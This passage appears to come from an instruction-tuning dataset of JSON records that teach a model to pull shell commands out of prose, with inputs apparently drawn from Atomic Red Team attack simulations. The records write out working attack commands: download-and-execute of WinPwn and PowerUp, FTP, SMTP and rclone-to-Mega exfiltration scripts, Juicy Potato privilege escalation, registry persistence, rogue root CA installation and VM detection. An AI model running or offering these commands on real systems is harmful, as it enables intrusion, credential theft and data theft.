    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To achieve privilege escalation using Juicy Potato, as seen in SnapMC Ransomware and other campaigns, use this command to execute a process with system privileges: cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'\n; For gaining persistence by altering the Windows Terminal settings, execute this command sequence:\nmv #{settings_json_def} #{settings_json_tmp}\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true\" -OutFile \"#{settings_json_def}\"\nwt.exe\n",
    "output": "{\"command_list\": [\"cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'\\n\", \"mv #{settings_json_def} #{settings_json_tmp}\\nInvoke-WebRequest \\\"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true\\\" -OutFile \\\"#{settings_json_def}\\\"\\nwt.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To exfiltrate the specified file over SMTP, use the following command which will send an email with the attached file to a remote address: Send-MailMessage -From #{sender} -To #{receiver} -Subject \"T1048.003 Atomic Test\" -Attachments #{input_file} -SmtpServer #{smtp_server}\n; To simulate MAZE ransomware's FTP exfiltration of 7z files from the temp directory, execute this PowerShell script:\n$Dir_to_copy = \"$env:windir\\\\temp\"\n$ftp = \"ftp://#{ftp_server}/\"\n$web_client = New-Object System.Net.WebClient\n$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')\nif (test-connection -count 1 -computername \"#{ftp_server}\" -quiet)\n{foreach($file in (dir $Dir_to_copy \"*.7z\"))\n{echo \"Uploading $file...\"\n$uri = New-Object System.Uri($ftp+$file.name)\n$web_client.UploadFile($uri, $file.FullName)}}\nelse\n{echo \"FTP Server Unreachable. Please verify the server address in input args and try again.\"}",
    "output": "{\"command_list\": [\"Send-MailMessage -From #{sender} -To #{receiver} -Subject \\\"T1048.003 Atomic Test\\\" -Attachments #{input_file} -SmtpServer #{smtp_server}\\n\", \"$Dir_to_copy = \\\"$env:windir\\\\temp\\\"\\n$ftp = \\\"ftp://#{ftp_server}/\\\"\\n$web_client = New-Object System.Net.WebClient\\n$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')\\nif (test-connection -count 1 -computername \\\"#{ftp_server}\\\" -quiet)\\n{foreach($file in (dir $Dir_to_copy \\\"*.7z\\\"))\\n{echo \\\"Uploading $file...\\\"\\n$uri = New-Object System.Uri($ftp+$file.name)\\n$web_client.UploadFile($uri, $file.FullName)}}\\nelse\\n{echo \\\"FTP Server Unreachable. Please verify the server address in input args and try again.\\\"}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can locate passwords on the system by executing this WinPwn command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npasshunt -local $true -noninteractive; SessionGopher can be launched through WinPwn with this command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsessionGopher -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npasshunt -local $true -noninteractive\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nsessionGopher -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test demonstrates data exfiltration to Mega cloud storage, which can be executed with this command block: New-Item #{rclone_config_path}\\rclone -ItemType directory\nNew-Item #{rclone_config_path}\\rclone\\rclone.conf\ncd \"#{rclone_path}\"\n.\\rclone.exe config create #{remote_share} mega\nset-Content #{rclone_config_path}\\rclone\\rclone.conf \"[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}\"\n.\\rclone.exe copy --max-size 1700k \"#{dir_to_copy}\" #{remote_share}:test -v; For submitting a new job to launchd, execute this command: launchctl submit -l #{label_name} -- #{executable_path}",
    "output": "{\"command_list\": [\"New-Item #{rclone_config_path}\\\\rclone -ItemType directory\\nNew-Item #{rclone_config_path}\\\\rclone\\\\rclone.conf\\ncd \\\"#{rclone_path}\\\"\\n.\\\\rclone.exe config create #{remote_share} mega\\nset-Content #{rclone_config_path}\\\\rclone\\\\rclone.conf \\\"[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}\\\"\\n.\\\\rclone.exe copy --max-size 1700k \\\"#{dir_to_copy}\\\" #{remote_share}:test -v\\n\", \"launchctl submit -l #{label_name} -- #{executable_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can configure a driver or service to persist in Safe Mode by executing the registry modification command: REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal\\AtomicSafeMode\" /VE /T REG_SZ /F /D \"Service\"; For a service to start during Safe Mode with networking, add a subkey to Network with the service name and set the default value to Service, which can be done via the command: REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network\\AtomicSafeMode\" /VE /T REG_SZ /F /D \"Service\"",
    "output": "{\"command_list\": [\"REG ADD \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal\\\\AtomicSafeMode\\\" /VE /T REG_SZ /F /D \\\"Service\\\"\\n\", \"REG ADD \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Network\\\\AtomicSafeMode\\\" /VE /T REG_SZ /F /D \\\"Service\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process of creating a root CA involves using openssl with the following commands: openssl genrsa -out #{key_filename} 4096\nopenssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\" -out #{cert_filename}\ncp #{cert_filename} /usr/local/share/certs/\ncertctl rehash\n; The process of creating a root CA involves moving the certificate file to the appropriate directory and updating the certificates, which can be done with this command: mv #{cert_filename} /usr/local/share/ca-certificates\nsudo update-ca-certificates",
    "output": "{\"command_list\": [\"openssl genrsa -out #{key_filename} 4096\\nopenssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj \\\"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\\\" -out #{cert_filename}\\ncp #{cert_filename} /usr/local/share/certs/\\ncertctl rehash\\n\", \"mv #{cert_filename} /usr/local/share/ca-certificates\\nsudo update-ca-certificates\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To gather system information and save it to a file, use the following command:\nuname -a >> #{output_file}\nif [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi\nif [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi   \nif [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi\nif [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi\nuptime >> #{output_file}\ncat #{output_file} 2>/dev/null; Detecting virtual machine environments, a technique used by Pupy RAT, can be accomplished via this command:\nif [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi\nif [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i \"Droplet\\|HVM\\|VirtualBox\\|VMware\"; fi\nif [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i \"Xen\\|Bochs\\|QEMU\"; fi\nif [ -x \"$(command -v dmidecode)\" ]; then sudo dmidecode | grep -i \"microsoft\\|vmware\\|virtualbox\\|quemu\\|domu\"; fi\nif [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i \"vmware\\|vbox\"; fi\nif [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i \"vmware\\|vbox\\|qemu\\|virtual\"; fi\nif [ -x \"$(command -v lspci)\" ]; then sudo lspci | grep -i \"vmware\\|virtualbox\"; fi\nif [ -x \"$(command -v lscpu)\" ]; then sudo lscpu | grep -i \"Xen\\|KVM\\|Microsoft\"; fi",
